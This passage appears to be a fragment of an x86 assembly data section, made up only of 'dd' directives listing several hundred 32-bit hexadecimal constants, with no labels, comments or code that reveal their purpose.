		dd 0CC044082h, 6B978C37h, 183DB7C9h, 7A7662C8h,	205B4B77h
		dd 0F55E3BAAh, 50F58321h, 0BFFBA414h, 80349C02h, 0FE983261h
		dd 55B92043h, 7C818BF8h, 8F951F15h, 1D743F99h, 7E070A43h
		dd 7FC90A84h, 7456FAF3h, 7DFFC053h, 63EEED7Fh, 0C469554Eh
		dd 0B3A0EC46h, 0A445AE2Dh, 0D548EB55h, 915E999Bh, 6465870Ah
		dd 264CEAC1h, 34ACA6B1h, 7F015F66h, 5EBC7AEFh, 9047DF71h
		dd 6E250D79h, 53759E21h, 0DCD75011h, 0E6B33110h, 1047FE1Ch
		dd 1E81B649h, 0A4753E4Eh, 0C9C10797h, 24DEEA03h, 0FB4169A6h
		dd 8CC336BBh, 7B3AC8AFh, 0F550ED14h, 0CF2F1587h, 0F75A90E5h
		dd 84D99170h, 0CA343B86h, 0E040E159h, 17228C79h, 49D62CE7h
		dd 0AF1C894Fh, 38B6CF4Fh, 438074CAh, 0BCF12121h, 536C49D5h
		dd 0B0CAE051h, 0DFB1FB0Fh, 5FC1179Fh, 0D92E5939h, 0BFFF0E9Dh
		dd 9B0B3B62h, 5C9D5298h, 193530DFh, 0A349BABBh,	97CA401Fh
		dd 7AF10BD8h, 0F974747Ch, 3B695BC3h, 672208Bh, 7E137161h
		dd 8B16FADBh, 0ABF7F638h, 0BB6A4DCFh, 0B14EBBEAh, 456222F1h
		dd 31479F1Ah, 3DDD3151h, 0D61CC376h, 0AC364FB4h, 1D064F16h
		dd 363DD954h, 0C89DAB18h, 0F9A28D40h, 0F446AC49h, 0DF8E45F7h
		dd 2289E798h, 76697251h, 35F737F8h, 0FA3F2D59h,	2E1F55BBh
		dd 6B1DC412h, 0B97E6493h, 3E37078Dh, 0F5F71BBCh, 227FEEDFh
		dd 79A7E16Bh, 9A3B0288h, 4F1A194h, 5FD80D56h, 0D9FCCA88h
		dd 0EE3442BFh, 0F97D9790h, 2C630876h, 91977104h, 0FF7742Dh
		dd 7786D999h, 8CE57771h, 15CAC7Ch, 0A7401BA5h, 0CB292BD9h
		dd 16932F15h, 4A59E155h, 3E400BA5h, 85870D79h, 746342DBh
		dd 13039B1Dh, 0F31C7C64h, 6997ECADh, 0F19BD3BCh, 7636A757h
		dd 0D4619DB8h, 4B53DB31h, 30EAC3F1h, 0D597EC21h, 4333D83Fh
		dd 0DF411246h, 341306A1h, 8288D749h, 1F1108CBh,	0B16CCBBh
		dd 0BF2E308Fh, 92517A8Eh, 0C500FDF5h, 4BB5F51Bh, 0A7A060Ch
		dd 0BEF81886h, 0B0720B30h, 9947115Ah, 3A772A65h, 88226C9Ah
		dd 0C8445902h, 733952A7h, 8681D6F4h, 4884DEEh, 7FF302BBh
		dd 7B9784DAh, 0BA40E68Ah, 2EA848AAh, 40E29E10h,	0ADDB1597h
		dd 820C85A3h, 4CD0B099h, 0E97844B7h, 66BBD70Eh,	312CDDCAh
		dd 0E2396B36h, 9B58626Eh, 0B0E5E478h, 0D162F514h, 59EE6C7Ch
		dd 642B67E5h, 764640E6h, 79D73D19h, 6892599Fh, 412C35Fh
		dd 0C4A373ECh, 0F3199E29h, 0D0F909DAh, 86076081h, 875954A0h
		dd 63EE66FFh, 95914D8Ah, 8D4DBAF6h, 2541360Ch, 0B65E125Fh
		dd 51808742h, 0BE6FA932h, 0C6FE62BDh, 0EDAD1233h, 0D86B242h
		dd 84824378h, 0BD58D4CEh, 0FCAEDACh, 7CB007Eh, 30FF468Eh
		dd 53161860h, 432CE14h,	6BF96E15h, 0E3B81DBCh, 0B1A45A1Fh
		dd 69E67BB5h, 0F6782FDDh, 84CA21EBh, 0DF915957h, 82D519C3h
		dd 5E26F9C0h, 13B05174h, 937DC00h, 0F51401BFh, 0C8C66479h
		dd 3A9E2B7Dh, 0F6FD965h, 0F213BBF1h, 8E10B7EEh,	0AD91D8A7h
		dd 7434FF53h, 672D8224h, 35F17404h, 7A152ED0h, 0C28DFEB7h
		dd 0D364DE4Ch, 9B1B2A9Ah, 6C6B5BDCh, 0BE4CC6B5h, 773FCFA8h
		dd 701E3F42h, 5C6616A2h, 0FE7F683Bh, 0FEDE5E6h,	2127B131h
		dd 2406B308h, 285C08F2h, 0E8A2B40h, 0BCAAE803h,	31879329h
		dd 0F50133BEh, 0C592BD9Dh, 0A1DC0585h, 31826FA0h, 1E43436Bh
		dd 57C56BBEh, 3A7C209Dh, 0C37C86EFh, 12F18350h,	6DAD6758h
		dd 70910124h, 0A68EE84h, 7DA4CA1Dh, 2141C498h, 202A4ABCh
		dd 0DE76FFDFh, 50225118h, 9A64D771h, 2D9DB6CAh,	2AF24072h
		dd 0F66D446Bh, 0F3595E7Dh, 0E9ABE202h, 69006AA2h, 0BCB0CAECh
		dd 0D14215EEh, 6A331F9Fh, 9CD96AB1h, 0B8C43670h, 752616F7h
		dd 25A5E61Ah, 97147966h, 296F5B65h, 8D2D7BD8h, 0BB89DC44h
		dd 0BC45B9CBh, 2E3D931Dh, 642B6798h, 0DCBFEF68h, 0D18D1AD4h
		dd 0F4709E0Eh, 975F7921h, 0AFC8BD58h, 728F7D7Eh, 1CAAA095h
		dd 53B55B71h, 3E9B05FCh, 0BF787A3Ah, 144D5D3Dh,	81418AACh
		dd 0F1C7DC88h, 4CC350F8h, 515819F3h, 2BC7C1FBh,	9595450Eh
		dd 37541CE6h, 0C6E7DAC1h, 0AE42C9C6h, 0CAC3E1FAh, 9B9332A9h
		dd 0D98F98A8h, 0C4E1B7E2h, 7B0C8866h, 3729764Ah, 0C29D5C6Dh
		dd 34FC72A0h, 0DAD1E39Ch, 0EA5C0CDAh, 24706796h, 0B0A1A636h
		dd 0F5CBDD9Dh, 0EDCB9954h, 0EFFF9944h, 0A8F38C94h, 8E84CF2h
		dd 0BBB204E4h, 0BD15B78Ah, 0FEBF382Ah, 66F9D21Eh, 86E19DD2h
		dd 84DBB6AAh, 3C270F03h, 5C75A4C1h, 6306DD57h, 831CB88Ch
		dd 0BA2ABB25h, 0C4C1AFC3h, 0B52E901Ch, 0B169BCACh, 62114669h
		dd 9893375Fh, 82F79DB0h, 8CCF06E9h, 0D72284ADh,	79C6BB80h
		dd 0ED13F680h, 86BD3184h, 59D38117h, 0C6994526h, 39ED7322h
		dd 0B02B5ABCh, 8068F8B5h, 95A7B405h, 6927C79Eh,	37294483h
		dd 2A751620h, 3D4CB5E3h, 0A49E6F0Bh, 5A24F896h,	2E9ADE47h
		dd 0D950C679h, 26C17E0Bh, 6136C833h, 209BEF98h,	2FDF5C0h
		dd 65DAA0ABh, 0FC58C7DCh, 499A0C28h, 9AF4C53Fh,	75459415h
		dd 0E601A88Fh, 0C22D4F59h, 32F2DC2Bh, 0A8E32CE0h, 0F6A5974Fh
		dd 2448A91Eh, 0C71AEBEAh, 0C4DDB14Ch, 0F235C3E6h, 44460C32h
		dd 4212B4CAh, 0CAC0B75Eh, 0DC256CDEh, 904DBE07h, 89B54EC6h
		dd 0F9557222h, 3D3A0917h, 0B529E1F8h, 7294A28Fh, 0EDE3928Ah
		dd 207569FCh, 0AE6EB48Ah, 0FD3F145Eh, 7E4D1Fh, 0A9D5D56Fh
		dd 0D40731CCh, 0F75E0BBCh, 69ACF37Bh, 9910EB27h, 3FB3F74Ah
		dd 1EC482FAh, 0D5CF3A1Ah, 0A6A902CCh, 0B1C3AA8h, 47773CACh
		dd 20103534h, 9BDBAB2Ch, 81CA8AADh, 0B13B6791h,	0A1C865CBh
		dd 14D2FFCh, 893D30ABh,	9FC460Bh, 91D46698h, 73441982h
		dd 0EC904030h, 0C5DFD5DCh, 1418916Ah, 0A992FB2Dh, 0A4B1FD7Bh
		dd 0DF4EACAAh, 69C5C6F4h, 29838A2h, 4FBDD1FFh, 5F802252h
		dd 131BD41h, 0A0ECF82Ah, 301E1D8h, 0C2F0EEF1h, 887AD15Bh
		dd 16B58C09h, 0C85FD182h, 4D9607B2h, 925853F0h,	0D33B1086h
		dd 61F28801h, 1785E48Fh, 958D3B16h, 0CECDE2F4h,	0D8A61ECAh
		dd 8317AE3Eh, 0D3DC2CF9h, 0BC4C8DD9h, 9D209149h, 0EFEB55EAh
		dd 0FA787AADh, 674749E0h, 4F2A90Eh, 0A4A8CB61h,	0F3A79E99h
		dd 68760D38h, 0E206528Bh, 0C29BF52Dh, 0E132621Dh, 3EED1ED5h
		dd 0D977588Fh, 0CDA514B2h, 1AB54A67h, 6172A755h, 0E679ED02h
		dd 10F3BCD0h, 917D6BA2h, 0E50108F3h, 7B70F56Fh,	0CAA5F34h
		dd 3095F639h, 0EEF4E547h, 0F4905687h, 4AD3D9B2h, 8F6B667Bh
		dd 9D4A3ACh, 0F5DDBA0Ch
		dd 3934919h, 8B1FACBEh,	70A16EBCh, 855B7CA0h, 143E7667h
		dd 0FCD74916h, 0CB95F684h, 19C3D9A2h, 9290A696h, 0D14AECAAh
		dd 18519A61h, 95051663h, 0BC73AF24h, 6766531Ah,	895CE592h
		dd 0DEA88B73h, 586D0E0Ah, 0A2C98083h, 695E5612h, 924AD2E4h
		dd 46DAB1D0h, 0C150E079h, 38DAE69Bh, 0CEF12CC9h, 0AB30136Ah
		dd 0B03A61ABh, 97E7994Bh, 9E741783h, 0D0FC3BAAh, 0B012338Ch
		dd 0F08ADE06h, 0ED059979h, 98DCCDB9h, 9F7B81C4h, 0E5F603F6h
		dd 0A0931C8Ah, 0BDFFF1C9h, 7AE0EA87h, 0B9D9D577h, 0C8EA23h
		dd 212F718Bh, 0C73D2DA9h, 0A648E6AEh, 98973BA9h, 72EAE63Bh
		dd 6F5E4772h, 96EE98Ch,	6C382AFCh, 3AD18325h, 5710AF10h
		dd 0CF00F776h, 369BF240h, 0D6BE0180h, 1534B510h, 4FB04C5Ch
		dd 7B500CB8h, 5EEA3681h, 0B5812817h, 6DAB8113h,	57E34052h
		dd 119BA9ECh, 0EE1A6DF6h, 52D74B84h, 2F58E809h,	0F74E8D7Ch
		dd 9C497DE9h, 0DE022C3h, 71DEB3Bh, 0FB2E4F0Bh, 0B9CBD4D6h
		dd 0D040CFC6h, 0CA8FE169h, 619DCCA3h, 2A6F4163h, 0F44C5DA3h
		dd 48667014h, 167575BFh, 0F18BDA74h, 0C256C7AAh, 6F01FC95h
		dd 0CA12F2BDh, 70EAC378h, 0CE30B6AFh, 30FF2B30h, 1578E4Dh
		dd 0E5AB8703h, 520C04EAh, 8FE2E712h, 4AFE0378h,	744BCA64h
		dd 0BD43132h, 0A4714BF0h, 0AEF0BA9Bh, 0F485EDADh, 7F74DE8Eh
		dd 97C2CBF8h, 32A3B9F1h, 10B43591h, 3918DF2Eh, 36E045EEh
		dd 7A49E47Dh, 15110546h, 1F8F6103h, 0C400F9AEh,	7C710D29h
		dd 0D8CF65C5h, 0B440A41Dh, 65D30083h, 1499C073h, 0DBCD63D1h
		dd 970E68C0h, 7A973F8Eh, 0D6CE71FAh, 0C07181Bh,	75441ECFh
		dd 6E9758B8h, 662CEAB6h, 0EE7042C5h, 28648BAh, 9A22048h
		dd 0E039A98Dh, 43CADFE4h, 399B3C20h, 0B9314EE7h, 6195DB20h
		dd 0D5ACEC5Dh, 3B09D224h, 77107A4h, 0F5FB42ECh,	89C4058Ch
		dd 0F3174383h, 80678577h, 10E5AF82h, 2090FE4Bh,	1160A329h
		dd 51793CAFh, 0E8B07F2Fh, 862CEFBCh, 7A09A0CFh,	967CA94h
		dd 2EF0ACAEh, 1948ACCh,	0A9A160E3h, 0A1C5B13Bh,	3157D249h
		dd 4CB59470h, 6860354Dh, 812650BCh, 0CE32FB20h,	8981FCAAh
		dd 0C445BB4Fh, 0EDF11803h, 0E57E0442h, 0AF18CE89h, 0BFF4AC0Dh
		dd 49609C7Fh, 6A33C6EDh, 6ACA8430h, 80907F3Dh, 3ABDB01h
		dd 0FBCC9D31h, 0E992FAFCh, 1116915Ah, 0AC7EA0ADh, 0CDD68496h
		dd 0AB3BAA60h, 0AEB66DDAh, 0C31F2F1Ah, 0AF83E3BFh, 2C7B7DE7h
		dd 0EA22EF01h, 40D9A7D8h, 708BBE98h, 7021E9C2h,	0FE773678h
		dd 19533EF0h, 4EBFD465h, 4D8A1F34h, 0AABD97FEh,	9E9E78EEh
		dd 44893E17h, 1A7D7982h, 8129087Bh, 0ECE8418Fh,	581CCA02h
		dd 0A5B17D8Fh, 0A88A723Fh, 41C826EDh, 8B8103E7h, 0F5A81A97h
		dd 31220415h, 0E3F99279h, 0F204E16Fh, 1321E6Eh,	56D32F87h
		dd 27D24C3Eh, 72C427CCh, 45302B4Bh, 68C95DDFh, 61562D27h
		dd 13B91EECh, 0C51D8F0Ah, 0B9D768E9h, 0ABA55B0h, 0AD541F15h
		dd 0E2A0EFAAh, 203156EEh, 0A4CD28D4h, 1878B932h, 747AD74Bh
		dd 0F26C87BEh, 6DA00D14h, 0F9D1104Ah, 9A781D48h, 0D85427Bh
		dd 0D173C63Eh, 3BAABAC0h, 95498F75h, 0D1F0459Dh, 3A9013C7h
		dd 41BF5Eh, 37CBCA11h, 0B54F4CF3h, 0EDF01D34h, 55A393ABh
		dd 1CDA6018h, 6C8C5DB9h, 130DFCDFh, 466848CAh, 5068F7C4h
		dd 0C480528Ch, 40474240h, 51463F16h, 8E71BCC1h,	5B1E7AD1h
		dd 0F613EC44h, 0F7E3CE51h, 1BAB797h, 557E4BF7h,	0C27A50EFh
		dd 0CD3D3B7Ch, 6215F321h, 4FBCC8A9h, 335BA019h,	7BEA5A39h
		dd 9A9584B8h, 12282948h, 2770D51Eh, 6DA13E6Bh, 9287F211h
		dd 5A65EDC8h, 104E47D7h, 535DD07h, 609CF89Dh, 0CAE23B82h
		dd 0BC77C5E8h, 59D9D0AFh, 58A3AF87h, 0DE152BBEh, 0B7BF7BA1h
		dd 3F128F5Ah, 0BD5CC0E4h, 46998283h, 55FBAC9h, 0CB3BD670h
		dd 362E32E4h, 0C912642Eh, 8EBF21A6h, 20817D05h,	6D511AF9h
		dd 2E05B3B9h, 0E368B85Ch, 243293EDh, 0E39AA287h, 0D6661601h
		dd 372199EFh, 0F3B489C9h, 0A99B6BF3h, 5A4CBC94h, 3B990B74h
		dd 2A520B4h, 66A9D2B8h,	0DEB73426h, 3301B9CDh, 260310DFh
		dd 907AA19Dh, 0E6E03768h, 4D088D13h, 0A20AC93h,	2FBE40EDh
		dd 0FFE9A832h, 9C77A3A1h, 0B87A860Fh, 5016EE32h, 1C2411B9h
		dd 0F0FCCEDEh, 0EF059E3Ah, 8BF39C78h, 94D5E381h, 0CE958605h
		dd 3E7AFA67h, 54B12120h, 4F3FA11Ah, 2E8EB714h, 96997A3Eh
		dd 1F6E2206h, 25FE12D5h, 4D3118F4h, 4C976457h, 4547599Dh
		dd 8EDBB08h, 650E0212h,	0E02AD477h, 17C455A4h, 78134CD7h
		dd 6575D900h, 3FD9BFADh, 0BA4B5223h, 814C12C8h,	55F0CEA8h
		dd 964BF376h, 0FBA8E30h, 0B67A75DDh, 5F310AB9h,	0A687ECA0h
		dd 3BA3CA01h, 712B1675h, 7E9FC9A4h, 102D6B2h, 431EE4C8h
		dd 436D64E7h, 78972905h, 9F5ADAAEh, 4E8220C8h, 20399B14h
		dd 982F3417h, 0BA5A5905h, 3D3C2BA3h, 0E5D593F4h, 1A6AE4E5h
		dd 0ABF770CAh, 2384C055h, 9DB2C330h, 51807AE5h,	544A8553h
		dd 0E3E88020h, 0BCBD37DFh, 8530D7E4h, 0AFB41A3Fh, 6ECF3EFEh
		dd 43CE132Ah, 9056BCBFh, 74FB8BEh, 8FD1ABD3h, 3285FCC3h
		dd 9EB727CCh, 49745A91h, 2AA6B190h, 0BCD08BDBh,	2B43E18Ah
		dd 0C37CB1A0h, 73B460CFh, 0BDD7484Fh, 0A476AB3Ch, 0F651373Dh
		dd 4B8900FCh, 7BA49E8Fh, 6C31762h, 0C554C5E2h, 2DB27D93h
		dd 81FA8EB3h, 72FE5954h, 0D79BE9B8h, 0F1197396h, 81795D0Eh
		dd 6DDA75EBh, 4205C2C8h, 588B6DE6h, 566D20A7h, 0F3165BABh
		dd 0B1DF8821h, 91797429h, 772CEFE8h, 0C781B35Eh, 0A8697D5Bh
		dd 839C9E44h, 2943A011h, 295B74Ch, 4D352501h, 7CCB3D56h
		dd 7B3DB0Ch, 0B876EE19h, 41C82651h, 0D83AA89Ch,	0ECC4FFBEh
		dd 0CC62C09Ch, 0F43250DFh, 0D67230BDh, 0AA4DC41Eh, 623E3638h
		dd 0BEDE7A78h, 2F3D167Fh, 77647890h, 0B0437D6h,	283D2295h
		dd 93562D06h, 35B4B1A7h, 0D0A18A55h, 341F0168h,	61E929ADh
		dd 54D11A4h, 75CF7AD6h,	6AEC2745h, 2AD55071h, 6B39ACDFh
		dd 42563440h, 318780C2h, 0F88163D1h, 0C3B6E3C4h, 30FE0058h
		dd 3E3F160h, 8BAE441h, 7BC715E6h, 0E11904D2h, 0F93D20C1h
		dd 0DF65F930h, 0C2CF0F89h, 91EAE2C8h, 0D8AB0AECh, 71052260h
		dd 0B2333993h, 34061614h, 0FCD7F6D1h, 0AB669389h, 0FBA7C7F7h
		dd 978E8AEAh, 0C16DD487h, 293A7687h, 9DBC7A15h,	24908DEEh
		dd 0D315E4E5h, 0A0CCD7B8h, 11916128h, 933FB474h, 97C7E0D5h
		dd 4145AD30h, 0B2DFC777h, 9DF6CB93h, 3E4A0AB0h,	67F87D87h
		dd 0EAA6DA2Fh, 9340360h, 0F7A99D9Ah, 0B29440A2h, 2D4BF62Fh
		dd 0CD996C58h, 4C719D14h, 20BBAD3Fh, 8533678Ah,	14CC6013h
		dd 9ED7CC94h, 0D3E9103Ah, 0EAAA9315h, 22E25ABBh, 8C8070DBh
		dd 5D68809Ch, 53AEB1B3h, 0F048AB43h, 418D58B0h,	0E7802E1Fh
		dd 49A00F96h, 1C1EC71Dh, 13870B4Bh, 0B2E35F28h,	0CF9B912Ah
		dd 728F7852h, 0D982D4Eh, 0E7FBFB45h, 9D370DEFh,	27A05D37h
		dd 0A7999580h, 0C5023E4Fh, 0AE67E24Ch, 1A1F8DCh, 4B491ECBh
		dd 97E375F9h, 0E2E2E6C6h, 89C5FB03h, 11B725EDh,	75CE782Bh
		dd 361F0968h, 7405C093h, 10FDF0AAh, 6F45BD0h, 856D759Ah
		dd 91735676h, 0D827BE19h, 0EF990A56h, 22D5D082h, 70C7D3BFh
		dd 2C70C0F9h, 0DB91222Bh, 30D52327h, 0B6480E34h, 874EFC58h
		dd 67147114h, 4DB44F9h,	0D8EB8678h, 45578E2Bh, 0BA670C30h
		dd 0DF1500BBh, 1DCF967Eh
		dd 162BCE95h, 9F7E70AFh, 5DBA6B63h, 9997A5F7h, 0FA6CBE3Bh
		dd 88F53596h, 55E3067Eh, 0E7213F69h, 0E2298A36h, 0E66CD055h
		dd 0A8AA0C21h, 0DF62BE39h, 0C92E1BEEh, 6EFFA2FCh, 3B33E967h
		dd 5B8EB637h, 1803F575h, 0FB0D2AFDh, 310BFF2Ch,	0BDF16EF7h
		dd 0F15A4DD3h, 0C57C5F43h, 0AA825C52h, 0D5664A8Ah, 62BB021h
		dd 1D4CE1B8h, 371465B4h, 53156465h, 0A1024F40h,	2DA0F15Eh
		dd 2BB49081h, 9374EADBh, 219D9EABh, 0B7F54661h,	6F4767C5h
		dd 1763FEA1h, 76C027E1h, 0F47B5F4h, 544146DDh, 0AF5F67B1h
		dd 0E1235A71h, 28118433h, 22E354EBh, 25648FD3h,	166C4B12h
		dd 4E2FEAC5h, 0D32D76D8h, 0ACC5EA10h, 2214636Fh, 0A6BBC35Ah
		dd 6F71005Eh, 82B487E4h, 6A97917Dh, 3792609h, 0B6976787h
		dd 0C917FA2Ch, 0BA01522Ch, 0ECE553EFh, 0B52D156h, 243D3Ch
		dd 42EB9D2Eh, 8EC0F7BBh, 56E44961h, 0C751BB3Ah,	7AAC4156h
		dd 69E7978Eh, 3D567B5Ah, 93ABFADh, 714DCE69h, 0C33A8673h
		dd 1B839937h, 0A786C7FCh, 8E46E9BAh, 1D85891Ch,	0EBFE3A5Bh
		dd 0A3B8C070h, 0BDF82079h, 8A81B1AEh, 0F280F4FBh, 0F4D51743h
		dd 10C012B1h, 0B4D93FACh, 0FFACFC59h, 0CEFD7DCDh, 0C557EF1Fh
		dd 15B087A9h, 8413F610h, 8F66BD45h, 0A70151BBh,	0EE53378Fh
		dd 8CD5A237h, 0A78B3FDBh, 0B4A98845h, 1D144E19h, 7F24429h
		dd 0E64653C8h, 0B15841A3h, 0ED57EFDDh, 852514DCh, 0DEDC1D84h
		dd 0ED0DE3B3h, 7E7ABEF0h, 0E1A34592h, 9F49D278h, 0E799117Bh
		dd 532E4DDAh, 254D1061h, 3A26BD75h, 0CA8094D2h,	3B3AD132h
		dd 81E4B05Eh, 64A85878h, 0BAAD4794h, 5DAAE98Ah,	0A6501719h
		dd 3D46EBF2h, 15E128DAh, 0ABA1D23Dh, 0A35F7F75h, 27F10831h
		dd 5BDD6B78h, 0D12F5C9Dh, 0E0B8DC15h, 0ACAFBE4Eh, 82EBE600h
		dd 1C3A69B8h, 38E9BADAh, 4D26991Dh, 8F5ECB63h, 5BC07EBDh
		dd 5E05CD2h, 0A8C05F16h, 0C54FC73Ah, 60E04EFDh,	6AF9DE89h
		dd 4BD4FFAh, 0E04F9E25h, 0BCCA44E9h, 0C197680Ah, 0BE30B8AEh
		dd 86BB808Dh, 0EF0BADF2h, 7E701F94h, 0BA1D2553h, 3792A75Eh
		dd 49FE5526h, 0D1287FAFh, 30D8274Eh, 0ECFE679Ah, 979584CBh
		dd 2B2DDCA7h, 0C0AFE396h, 0C31F7CF2h, 0BB2A2E83h, 935F29FBh
		dd 35E0103Ch, 0C60FF07Fh, 42F76CD6h, 9B8A5178h,	0CDECBBCBh
		dd 71A76CB5h, 7374BE27h, 85D31EEBh, 0F9A21E96h,	71507C0Fh
		dd 0E4D78CEFh, 2AD6F4ECh, 4FB4A9A5h, 6418319h, 0E9F7857Ch
		dd 0EFDC0833h, 0FE41F0AFh, 386D98D1h, 0CA0B290h, 12833B13h
		dd 1B38161h, 0E389D7E8h, 0D726337Ah, 8B17617Ch,	4D5D476Ah
		dd 1452AC2Ah, 34D7246Eh, 7CF82A08h, 74F37050h, 5ECFDF1Ah
		dd 5B656C88h, 17AC94CDh, 7ED1FBF7h, 0EECD0571h,	4052EBCCh
		dd 2390ED6Ch, 0CDDD84ADh, 0DB2BA6A5h, 1197CE77h, 0D2412832h
		dd 362BE5A9h, 486E6BBFh, 1C91CB4Ch, 25404258h, 1C8BBFF0h
		dd 753E8613h, 0EEDB6858h, 0AAF8DC41h, 0E48AD8Ch, 0AC17BA4h
		dd 0C5E5814Ah, 59D9D293h, 90120126h, 353431BDh,	9DB2E1CFh
		dd 224FC261h, 0C4071925h, 7F4EE76Eh, 98C6DCECh,	0F58003E2h
		dd 4E3A2619h, 75053347h, 3EAFC99Dh, 6E74A804h, 5F780F8Bh
		dd 3A47CFACh, 644273C0h, 8ACCEA10h, 0F67586h, 2F6A6646h
		dd 0B013B26Bh, 0AD5B1288h, 7CF5CA70h, 1F2EB358h, 200E2220h
		dd 13C75001h, 0DDFAA592h, 169E5AA5h, 8AD64CECh,	0EC89350Ch
		dd 8903E4EBh, 0E8D2E13Dh, 468D8AA0h, 0E441D808h, 39A30A5Ah
		dd 0D5170C32h, 0DB62AE8Fh, 1168B15Dh, 6A65E40Bh, 0D6D0D320h
		dd 9F6F524Bh, 84A86D1Eh, 0A9A9D9F1h, 0AE975059h, 66A47C3Ah
		dd 0A4F0BDD1h, 0B39B02E0h, 87B6BE94h, 84EDDAAEh, 2A5B9CFFh
		dd 3AD3FA6h, 202FD480h,	63DFAD95h, 812C86D6h, 13605240h
		dd 4F8A5FD0h, 0FF098BC6h, 3A33FA3h, 0D460230Bh,	0A5A59AF2h
		dd 1A91F779h, 0BA066135h, 0BA4FC17Bh, 0C4636EB1h, 56D51955h
		dd 0CA6298DBh, 0D8FF3B30h, 0E23EBAE5h, 2CB39B63h, 7A72ED2Fh
		dd 3A2AB57Ah, 937625Fh,	5E91DFBBh, 3A41060Dh, 77D366A9h
		dd 86108363h, 8B7C5BBh,	0FDD1AADBh, 0F40334E1h,	51E1A841h
		dd 5B584FF0h, 6900B468h, 0C0A407A4h, 3DA4034Ah,	5CE85A49h
		dd 34058F55h, 0F9A5081Eh, 6550C606h, 67B0B8D7h,	30D66295h
		dd 13A11843h, 0E6890E81h, 0AD66F6FEh, 2E6AA955h, 2BF45C10h
		dd 55BD69D0h, 5D46CF77h, 0FB608EACh, 0A3545C3h,	0B5C4C35Eh
		dd 63ED2CF7h, 0FF17947Bh, 3CB05D46h, 72D15328h,	90EF486Ch
		dd 16246B75h, 1524CD22h, 5C72F430h, 3A168C46h, 1E4056Bh
		dd 0EFA00F11h, 0FAE6D8C3h, 0FEBA60EFh, 3457C4D2h, 0C736E5AFh
		dd 2DD4F122h, 2202BE42h, 8BD88EF1h, 4BE5E7EFh, 2FBED14Bh
		dd 3D2DC65Eh, 0CDE92795h, 62747668h, 46C1F082h,	7AA32BDCh
		dd 627102E3h, 69697C27h, 728CDEB9h, 55CEC7EBh, 0BC00F80Ch
		dd 0A02692E6h, 15512095h, 5B082C93h, 0D97A2B1Ch, 8672776Fh
		dd 38C996A7h, 0E6869395h, 0EB03FAB7h, 148D71F8h, 2D5876D9h
		dd 4575C39Dh, 7EFB1EEFh, 219BC570h, 196899D9h, 3C2449AFh
		dd 48CEB1FDh, 2CFE37FFh, 0AD7C9F07h, 806398CBh,	0BADEBD81h
		dd 66099A6Fh, 0CB5FFA95h, 8F8B92FBh, 19A1A511h,	0A88C3D4h
		dd 0BE9CD35Ch, 0EB8F5988h, 5EDC52F4h, 88C09A02h, 0EF4A06ABh
		dd 3B605C5Eh, 0B0F0B748h, 3C7CE46Ah, 3632D2E3h,	0FC333F71h
		dd 2C3DE8DFh, 0E3995710h, 2C60CA06h, 9668A81Fh,	0C060833h
		dd 0E66F390Bh, 3BA5FCF0h, 0F2B18F4Ch, 52C21835h, 322FD31Ch
		dd 9476FCDBh, 8E6BF538h, 792616EAh, 97F8D18Eh, 7DC36096h
		dd 21F827DEh, 0C3F8BBADh, 0F0D3FDD3h, 0CF34C580h, 7A94889Dh
		dd 31CFFABAh, 0B9CB9572h, 3B6F402Ch, 0AFF402Bh,	9F30865Ch
		dd 0F07716D0h, 28404BA1h, 0B5AD68B5h, 0BA5FD4Ah, 7DD163E3h
		dd 9AB5DE36h, 0AA51A005h, 968AC691h, 83147433h,	0FF92E149h
		dd 9E97BD00h, 78BC37A9h, 7DEB155h, 0D5D27DF7h, 1C8DA3E5h
		dd 0AD5DCA84h, 0F7975885h, 5FCBC4A5h, 0A4BCE947h, 0F9414DBFh
		dd 8FFD110Fh, 36F606F8h, 97713C6h, 0E255A74Fh, 1E72C7C5h
		dd 6BCE48CBh, 12BE38F9h, 0D0CA716Ch, 6015028h, 0FA83FA35h
		dd 0A983B9AFh, 6698C577h, 326FD4DEh, 0BE651E52h, 0BFA2C078h
		dd 0F778A875h, 0A6757BEEh, 1D44532Ah, 0BF87ABC1h, 31DA2ABCh
		dd 884A4C81h, 2B956AC3h, 0F9C697Dh, 0A5408EFAh,	233165Bh
		dd 52298571h, 123F7D56h, 788D977Bh, 43B47A9Ah, 0EB8B46A8h
		dd 0D6FDC880h, 410B2B6Ah, 4D51D4BFh, 742CAB42h,	0FA38B477h
		dd 0DE6550FBh, 4B5B82E5h, 7CE8C018h, 59FBA0EEh,	0CAA6103h
		dd 0F6A7D289h, 0A03D20CAh, 784F5BFAh, 3EFBB49Ah, 0DBACB8DCh
		dd 0C587A974h, 0CA423AFh, 0F0987CC5h, 648DD4A9h, 359F2176h
		dd 8190C155h, 632B4CA2h, 0FB958C62h, 93179EA5h,	677DA013h
		dd 8D52E345h, 2812A377h, 0FA052A2Ah, 4516F6C8h,	3474FA90h
		dd 0B63A63BCh, 30161286h, 0D250CBBh, 63D3BDEh, 0BBF0E623h
		dd 4BBA0765h, 11319160h, 70BC6477h, 5597B983h, 93AF1CB4h
		dd 92828E38h, 4CE4BE51h, 780803F0h, 36512D1Fh, 82B2F84Fh
		dd 50BBB30Eh, 0C20F04FAh, 0ADD1C450h, 613D81E7h, 7B4FFE2Bh
		dd 7A691309h, 0AB166A9Fh, 8F257B9Bh, 72775507h,	8DF1C476h
		dd 5326734Ah, 0D8267B02h, 13785F7h, 0A3FF751Fh,	8E722CFBh
		dd 98FE3299h, 5CF336A2h, 5AF7226Dh, 0D8CE16DFh,	0EA323C19h
		dd 0EF843581h, 189359E2h
		dd 1612647Dh, 5A28A9EDh, 8DAF3D9Eh, 0CC52520Ch,	0D778D919h
		dd 2788EA70h, 5409E444h, 0FB25A22Fh, 1059E085h,	2E405C20h
		dd 0ADB36189h, 6F8B4A03h, 3003F8h, 0D1DE908Dh, 9423B2DAh
		dd 0F18A15DEh, 7F299668h, 5B1A3BEDh, 95051E05h,	235571B2h
		dd 75BE80A4h, 9083A786h, 0BFBF34E7h, 0F41E44E1h, 0CAEE240Eh
		dd 80B99283h, 0A1D0E346h, 663AD96Ah, 0CEED0504h, 0B46A75CEh
		dd 0C1E2C866h, 709F3930h, 7B9C4DF6h, 0FE20A86Ah, 53518FFh
		dd 673AFF7Dh, 9F9710F2h, 0A7D3889Fh, 4E4987ADh,	0CE39FC15h
		dd 5C214138h, 64E6E919h, 11860B6Dh, 0A590B504h,	56E0929h
		dd 5CBE4BC7h, 7EB85446h, 6B6FC0F6h, 2A23BC28h, 22E59F8Fh
		dd 8B34E131h, 0CA6C46BDh, 636036AEh, 4AAEEF9Bh,	0E88B4907h
